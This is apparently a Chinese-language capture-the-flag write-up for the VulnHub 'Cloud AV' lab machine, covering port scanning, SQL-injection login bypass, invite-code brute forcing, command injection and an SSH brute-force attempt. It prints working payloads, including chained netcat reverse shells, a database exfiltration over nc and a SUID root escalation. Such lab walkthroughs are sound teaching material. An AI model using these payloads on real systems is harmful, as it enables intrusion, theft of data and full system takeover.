一起來打靶 02
0x00 靶機介紹
靶機地址:BoredHackerBlog: Cloud AV ~ VulnHub
靶機難度:低(思路和技巧)
推薦虛擬機:VirtualBox
0x01 內容簡介
-
涉及的攻擊方法
- 端口掃描
- WEB偵查
- SQL注入
- 命令注入
- 密碼爆破
- 代碼審計
- NC串聯
- 本地提權
-
簡介
雖說難度級別為低,但是從還原整個滲透過程的角度來看,這個靶機非常全面。
為了更加全面的還原真實滲透思路,所以即便是失敗的嘗試過程,我也為大家完整的進行了展示。同時最終的總結階段,我增加了圖示來突出滲透過程的線索,希望將成果與收穫沉澱下來,成為學員頭腦中可復用的經驗。
-
背景
- 是一個雲防病毒掃描服務!目前處於測試階段
-
打靶目標
- 滲透該服務,找出漏洞並提權
0x02 環境搭建
下載好靶機.ova
文件後導入到VirtualBox中即可
確保靶機和kali在同一網段中
kali IP地址:10.0.2.7
0x03 主機發現
因為靶機和kali在同一網段中,所以優先選擇二層的主機發現技術
上次使用了arp-scan
這個工具,本次使用arping
,做同一件事情使用不同的工具原因如下
arp-scan
與arping
對比
- 相同點
- 都可用來二層的主機發現
- 不同點
arp-scan
更傾向於滲透測試使用的工具,更接近於黑客工具的定位arping
是幾乎所有的Linux發行版當中都會默認包含的一個工具,從工具的廣泛度而言arping
可以在更多的環境下使用它,因為在很多情況下,滲透的目標系統可能並不包含像arp-scan
這種更傾向於黑客的工具
使用arping
進行主機發現,短板是沒有辦法對一段的IP地址進行一次性的,統一的主機發現;所以使用時需要結合shell的循環語句
對kali所在的網段10.0.2.1
–10.0.2.254
進行掃描
執行命令:for i in $(seq 1 254); do sudo arping -c 2 10.0.2.$i | grep "time="; done
10.0.2.1-3
這三個IP是虛擬機軟件為了完成基本功能所使用到的IP,所以一定不是靶機IP,故10.0.2.8
就為靶機的IP
對10.0.2.8
進行全端口的掃描
執行命令:sudo nmap -p- 10.0.2.8
掃描結果顯示開放了22
和8080
兩個端口,繼續對22
和8080
兩個端口進行服務版本的發現
執行命令:sudo nmap -p22,8080 -sV 10.0.2.8
這些命令和參數都是非常通用的,即便在真實的滲透環境下,基本上也是按照這樣的順序,先做主機發現,然後做端口掃描,最後再做服務和應用版本的發現
掃描結果顯示
22
端口,開放的是OpenSSH 7.6p1
這個版本的的SSH
服務8080
端口,開放的是httpd
服務,並且服務端仍然使用的是Werkzeug
這個使用python開發的web應用底層開發框架,和靶機01的情況完全相同
0x04 WEB偵察
既然開放了web服務,那麼肯定要打開瀏覽器訪問一下://10.0.2.8:8080
從頁面的提示信息中可以得到,這是一個雲殺毒掃描器,需要輸入邀請碼成功登錄後才可以使用,雲查殺服務。
這裡的邀請碼本質上就類似於密碼的作用,頁面中的表單即為要攻破目標靶機的第一關任務
通過密碼來進行身份驗證的功能,攻擊思路一般有兩個
- 利用程序在服務端代碼上的邏輯漏洞,通過sql注入的方式繞過身份驗證
- 暴力破解方式,將密碼破解出來
接下來逐一演示這兩種方法,打靶的時候選擇其中一種就可以了
0x04-1 SQL注入繞過身份驗證
首先打開burpsuite
並在瀏覽器上設置好burpsuite
的代理
在頁面表單中隨便輸入一點內容,點擊Log in按鈕
可以看到burpsuite
抓取到了本次提交的數據包,將其發送到Intruder
模塊,利用其批量的,重複的數據提交能力向password
這個位置提交一些特殊的符號,來測試服務端是否包含一些常見的注入漏洞
在Intruder
模塊將password
添加成數據的注入點
配置Payloads
,可以將鍵盤上的所有符號挨個注入一遍
背後的原因是在任何的編程語言環境中,鍵盤上可以輸入的符號,比如:, ‘ ” %,都具有特殊的功能性的作用,當在注入點注入了所有的符號後,如果在這個位置存在某種注入漏洞的話,往往就會導致服務器端代碼執行出錯或者觸發漏洞,造成語義上的歧義,從而造成服務器端無法正常處理提交的請求,最後通過觸發這些漏洞就可以發現服務器端可能存在的注入漏洞。
手動添加或導入以下內容的字典文件
`
~
!
@
#
$
%
^
&
*
(
)
-
_
+
=
|
\
{
}
[
]
;
:
'
"
<
,
>
.
?
/
添加完成之後,點擊右上角的start attack
按鈕,開始爆破
對於數據提交之後的結果篩選通常會有兩種方法
- 通過響應的碼的方式。提交正確的數據和錯誤的數據,往往服務端的響應碼會有些不同
- 通過響應長度的方式。提交正確的數據和錯誤的數據,往往服務端的響應的數據內容會不太相同,數據量是會有所差別的
結果顯示,提交數據為"
時服務器端響應碼與其餘的不同,而且響應的數據量遠遠大於其他數據提交請求的響應
查看幾個響應碼是200
的數據包,發現返回的內容都是WRONG INFORMATION
再查看響應碼是500
的數據包
通過查看響應內容發現,當提交數據為"
的時候似乎觸發了服務端的異常報錯
從返回的報錯中可以看到目標服務器的很多文件系統路徑,發現當前服務端運行的應用程序具體放置在那個路徑之下,文件名叫什麼,透漏了很多服務端具體的信息,比如/home/scanner/cloudav_app/app.py
最後一行顯示/home/scanner/cloudav_app/app.py
第18行,由於注入了"
而導致了這個報錯,其中有一段是sql的查詢語句,可以猜測提交的"
似乎是被拼接到了當前的sql查詢語句當中
拼接sql語句的代碼為
select * from code where password="; + password + ";
當提交的數據為"
時,sql語句就會變成這樣
select * from code where password="; + " + ";
第一個"
與我們提交的"
進行了閉合,導致了最後一個"
沒有另外一個"
與其閉合,從而觸發了服務端代碼執行的錯誤
這是一個典型的sql注入漏洞,嘗試構造Payloads,攻擊這條sql語句,實現在不知道密碼/邀請碼的情況下也可以登錄後台
經常使用的一個攻擊方法就是通過邏輯或
,Payloads如下
select * from code where password="; + " or 1=1-- + ";
由於or 1=1
永遠為真,所以不論雙引號中包裹的是什麼數據,最終在執行sql語句的過程中都會判定後面的判斷語句為真
--
表示的是sql語句中注釋符(注意後面–還有有一個空格)
關閉burpsuite數據包攔截功能,通過瀏覽器提交構造的Payloads
" or 1=1--
點擊log in
按鈕,提交到服務端
成功登錄到了後台,從頁面內容中可以得知,在表單中輸入文件名,提交到服務端之後,服務端就會對這個文件進行查殺
0x04-2 暴力破解邀請碼
首先打開burpsuite
並在瀏覽器上設置好burpsuite
的代理
在頁面表單中隨便輸入一點內容,點擊Log in按鈕
可以看到burpsuite
抓取到了本次提交的數據包,將其發送到Intruder
模塊,利用其批量的,重複的數據提交能力向password
這個位置嘗試進行爆破
在Intruder
模塊將password
添加成爆破點
選擇爆破密碼使用的字典文件
在kali的/usr/share/wordlists
目錄下存放着很多的密碼字典文件可供選擇,本次就選擇一個比較簡單的,比如nmap.lst
這個nmap
通常使用的字典文件
加載好密碼字典文件後,點擊右上角的Start attack
按鈕開始爆破
對於數據提交之後的結果篩選通常會有兩種方法
- 通過響應的碼的方式。提交正確的數據和錯誤的數據,往往服務端的響應碼會有些不同
- 通過響應長度的方式。提交正確的數據和錯誤的數據,往往服務端的響應的數據內容會不太相同,數據量是會有所差別的
結果顯示,提交password
的服務器響應數據量遠遠大於其他數據提交請求的響應
查看幾個響應數據長度是175
的數據包,發現返回的內容都是WRONG INFORMATION
查看唯一一個返回數據包長度是345
的響應
發現當提交數據為password
時,服務端返回的響應包含重定向,重定向到了/scan
路徑下
嘗試在瀏覽器表單中輸入password
並提交
點擊log in
按鈕,提交到服務端
成功登錄到了後台,從頁面內容中可以得知,在表單中輸入文件名,提交到服務端之後,服務端就會對這個文件進行查殺
0x05 命令注入
構想一下這個web應用程序是如何實現防病毒掃描的
首先對於紅框中的部分,很容易聯想到在Linux系統中執行ls -l
返回的結果,所以有理由猜測顯示的文件就是放置在服務端的一些文件
可以猜測,當在表單中輸入某個文件名比如hello
並提交給服務器後,服務器端可能會調用某種殺毒軟件比如xxxscan
,執行命令xxxscan hello
,來進行掃描
如果真是這樣的話就可以利用Linux shell中的管道符來執行其他的命令
管道符號,是Linux一個很強大的功能,符號為一條豎線:”|”。
用法:command 1 | command 2
功能是把第一個命令command 1執行的結果作為command2的輸入傳給第二個命令command 2
利用管道構造Payloads
hello | id
在瀏覽器的表單中提交Payloads
等待片刻之後,發現注入的id
命令的確被服務端執行了
結果顯示當前程序運行的賬號是scanner
,既然命令注入漏洞已證實存在,接下來就可以通過注入更多的執行來完成反彈shell的目的
0x06 NC串聯
通過之前的掃描結果可以得知服務器端有Python的執行環境,所以可以使用靶機01中的Python反彈shell代碼
但是在這裡介紹一種新的方式,使用nc
命令
查看服務器端是否有nc
命令,構造Payloads
hello | which nc
在瀏覽器的表單中提交Payloads,等待片刻之後
結果顯示服務器端包含有nc
這個命令,那麼接下來就可以使用nc
來反彈shell
首先在kali端啟動偵聽
執行命令:nc -nvlp 4444
通常情況下nc
命令都會有一個-e
參數,可以指定在連接成功後,執行一個shell的終端,將接收到的數據放到shell終端中執行並返回結果
利用nc
命令反彈shell,構造Payloads
hello | nc 10.0.2.7 4444 -e /bin/sh
在瀏覽器的表單中提交Payloads,等待一段時間之後,發現kali上的nc
並沒有接收到反彈的shell連接,這是因為
nc
命令有很多的版本,在每一個Linux發行版當中都可能使用不同的版本,有的版本帶-e
參數,有的版本不帶-e
參數
將-e
參數去掉,看看能不能連接成功
構造Payloads
hello | nc 10.0.2.7 4444
在瀏覽器的表單中提交Payloads,等待片刻之後,發現服務端nc
的基本連接成功可以正常使用
也就意味着服務器端nc
的確存在且可以正常使用,只是不帶-e
參數
對於此種情況可以利用到一個使用nc
的技巧,叫做
nc串聯
具體使用方法是
nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444
執行的邏輯是:nc 10.0.2.7 3333
接收來自遠程的命令,通過管道符|
將命令傳遞給/bin/bash
來執行,再次通過管道符|
將命令執行的結果傳輸給nc 10.0.2.7 4444
利用此種方法需要再kali上開啟兩個偵聽端口
執行命令:nc -nvlp 3333
nc -nvlp 4444
構造Payloads
hello | nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444
在瀏覽器的表單中提交Payloads,等待片刻之後
3333
端口和4444
端口連接都建立成功,並且在3333
端口上輸入命令,執行的結果會在4444
端口這邊顯示出來,利用nc
命令反彈shell成功
0x07 查看SQLite數據庫
通過以上的ls
命令可以看出在當前目錄下存在app.py
和database.sql
等4個文件
首先對app.py
進行代碼審計一下,查看是否有提權的漏洞
執行命令:cat app.py
一番審計過後,並沒有發現什麼後期提權為root
用戶似乎並沒有什麼幫助
再來關注一下database.sql
文件,使用file
命令查看文件的格式
file命令用來識別文件類型,也可用來辨別一些文件的編碼格式。它是通過查看文件的頭部信息來獲取文件類型,而不是像Windows通過擴展名來確定文件類型的。
執行命令:file database.sql
從結果中可以得知這是一個SQLite 3.x的數據庫文件,結合之前sql注入返回的報錯信息,有理由懷疑這個數據庫文件就是web應用程序服務端使用的數據庫,因為SQLite就是一個本地的數據庫,數據庫的內容都是以數據庫文件的方式存放在目標服務器的文件目錄下
這裏面是否包括一些機密的信息呢?有理由要查看一下,嘗試打開這個數據庫文件
執行命令:sqlite
sqlite3
執行命令之後無任何回顯結果,說明在目標靶機上沒有sqlite解析環境,所以不得不將database.sql
數據庫文件下載到kali上進行解析
通過nc
命令來傳輸文件
首先在kali上偵聽一個端口,並將接收到的數據轉發到db.sql
這個文件當中
執行命令:nc -nvlp 5555 > db.sql
在目標靶機上,通過nc
連接kali,並通過重定向命令發送文件
執行命令:nc 10.0.2.7 5555 < database.sql
命令執行完畢之後,在kali端接收到了連接,因為database.sql
文件不是很大,很快就可以傳輸完畢,所以等待一會之後就可以結束nc
在5555端口上的連接
查看當前目錄
db.sql
已經創建成功,使用kali中的sqlite打開數據庫文件,
執行命令:sqlite3
,進入sqlite的命令提示符下
接着查看數據庫的內容
從顯示的數據中可以看到,數據表code
中只有一個字段password
,其中導入了四個密碼
0x08 SSH爆破
從數據庫中獲得了四個明文密碼,又由於之前的掃描得知目標系統是開啟SSH服務的,按照流程應該利用賬號及這些密碼嘗試能否成功登錄目標系統
首先查看目標系統中可以登錄的用戶賬號
利用nc
在目標系統上執行命令:cat /etc/passwd
或者 cat /etc/passwd | grep /bin/bash
從中可以得到3個可用於登錄系統的賬號
禁止用戶登陸的 /bin/false和/sbin/nologin的區別
1 區別
/bin/false是最嚴格的禁止login選項,一切服務都不能用。
/sbin/nologin只是不允許login系統小技巧:
查看 /etc/passwd文件,能看到各用戶使用的shell2.1 nologin
當用戶配置成/sbin/nologin時,如果再使用該用戶ssh到linux操作系統,會提示
This account is currently not available.2.2 false
當用戶配置成/bin/false時,ssh之後顯示如下
root@vultr:~# useradd -s /bin/false -M -N user111
root@vultr:~# su user111
root@vultr:~# whoami
root不會有任何提示,用戶切換不過去
將這三個賬號保存為用戶名字典文件user.txt
,內容如下
再將數據庫中的四條密碼保存為密碼文件pass.txt
,內容如下
使用hydra
命令對SSH進行爆破
執行命令:hydra -L user.txt -P pass.txt ssh://10.0.2.8
執行結果令人失望,沒有在其中得到任何一個可用的賬號密碼,通過賬號密碼遠程登錄目標系統SSH服務的攻擊意圖失敗了…
這是一個失敗的嘗試
當在做真實的滲透測試攻擊時,經常會收集到看似有用的信息,比如賬號密碼信息,但是拿着已經獲得的機密信息去做進一步攻擊時往往是會失敗的,雖然攻擊結果是失敗的,但是並不代表這這一次的嘗試是無意義的,其實這些看似失敗的嘗試也是在進行滲透測試攻擊思路中非常重要的一部分,所以當收集到這樣的信息時,做這樣的嘗試是非常非常有必要的。
0x09 SUID提權
既然通過SSH爆破的攻擊方式失敗了,接下來就不得不在目標系統上進行其他的信息收集手段尋找可以成功提權的攻擊手段
查看當前目錄及子目錄下的文件內容,看看有沒有對提權有幫助的信息
一番查看並沒有尋找對提權到什麼有用的信息
回到上一級目錄,再看看其他的文件內容信息
對於其中以.
開頭的隱藏文件也是有必要一個一個檢查的,不過經過一番查看後在這些隱藏文件中也並沒有發現對做提權攻擊有幫助的信息
不多啰嗦了,接下來就直奔對做提權攻擊有幫助的目標
可以看到在當前目錄下有update_cloudav
和update_cloudav.c
這兩個文件名稱相同的文件,其中update_cloudav
是一個可執行的文件,那麼就有理由懷疑update_cloudav.c
是update_cloudav
的源代碼文件
值得注意的是update_cloudav
權限是-rwsr-xr-x
,是帶suid
權限標記位的,更令人驚喜的是這個程序的屬主是root
賬號
凡是具有
suid
權限標記位的可執行文件,當這個文件一旦執行的時候,無論當前是任何用戶賬號,在執行這個文件後就會默認繼承這個文件屬主的權限,也就是root
的權限可以設想一下如果可以執行
update_cloudav
程序,再通過某種命令注入的方法,利用它的suid
權限標記位,若利用成功就可以用root
權限來執行目標系統中的命令,包括任何可以反彈shell的命令,最終的結果就都會形成獲得了一個root
權限的反彈shell
所以suid
位也是進行本地提權非常重要的一種手段,當然靶機01使用到的利用內核漏洞進行本地提權的手段也非常重要,它們倆都非常的常用
順着這個思路,為了實現提權,非常有必要查看一下update_cloudav
的源代碼文件,看看這個程序是如何調用系統指令,如何跟系統進行交互的
利用nc
在目標系統上執行命令:cat update_cloudav.c
簡單查看之後,發現這個C語言源代碼文件非常的簡單,僅僅時調用了系統當時已經存在的程序freshclam
,同時強制要求在執行的時候傳遞一個或多個命令行參數,最終將freshclam
與傳遞的參數拼接起來執行。
其中freshclam
是開源殺毒軟件的ClamAV
進行病毒庫更新的程序,參考連接:ClamAV病毒查殺 – 簡書 (jianshu.com)
C語言函數
函數名:setgid – set group identity(設置組ID)
函數名 setuid – set user identity(設置用戶ID)
參考連接:
隨便跟一個參數,執行一下update_cloudav
試試
程序似乎報錯了
現在並不清楚關於這個日誌文件
freshclam.log
的報錯是否會影響update_cloudav
程序的正常運行,進而又是否會影響嘗試利用這個程序的suid
權限標記位來達到提權的目的在真實的滲透測試過程中,很多時候獲得的信息也並不完整,所以很多情況下都需要大膽嘗試,按照我們頭腦當中構想的滲透思路,通過實踐來驗證我們的攻擊思路
接下來不妨大膽的嘗試一下再次利用NC串聯
來構造Payloads,進而反彈shell
構造的Payloads如下
"a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"
之所以要用雙引號將所有的內容包裹起來是為了讓update_cloudav
這個程序將雙引號中的內容全部作為執行它的命令行參數,從而繼承它的的suid
權限,獲得root
權限的反彈shell
在執行這個Payloads之前需要在kali行偵聽5555
和6666
兩個端口
執行命令:nc -nvlp 5555
nc -nvlp 6666
然後通過nc
在目標系統上執行構造的Payloads
執行命令:./update_cloudav "a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"
執行完畢後查看kali端偵聽的兩個端口是否建立了連接
可以看到連接成功建立,NC串聯再次成功
可喜可賀,取得了root
權限的反彈shell,本次打靶圓滿完成!
0x0a 總結
- 打靶過程圖片概述
- 打靶過程文字概述
- 首先做了主機發現,發現靶機IP地址之後,對它進行了端口掃描以及服務版本的掃描,進而發現了一個工作在目標靶機8080端口的HTTP服務
- 通過瀏覽器訪問8080端口上的WEB服務,在默認的WEB頁面上發現了sql注入漏洞,使用sql注入漏洞或暴力破解邀請碼的方式登錄到了WEB應用的後台
- 在後台頁面中,很容易的發現的一個命令注入漏洞,並且利用這個命令注入漏洞獲得了一個反彈shell
- 取得了反彈shell之後,要做的就是在目標靶機上進行信息收集,在這個階段當中發現了一個數據庫文件,在其中發現了一些疑似密碼的字符串
- 利用這些疑似為密碼的字符串嘗試進行SSH密碼暴力破解,然後並沒有成功
- 於是不得不進一步再去收集更多的信息,最終在目標系統上發現了擁有
suid
權限的可執行程序 - 通過代碼審計發現了代碼當中的一些問題,並找到了利用
suid
提權漏洞的攻擊方式 - 最終取得了目標靶機的
root
權限,完成了整個的打靶過程
- 打靶過程對應的視頻鏈接:點擊查看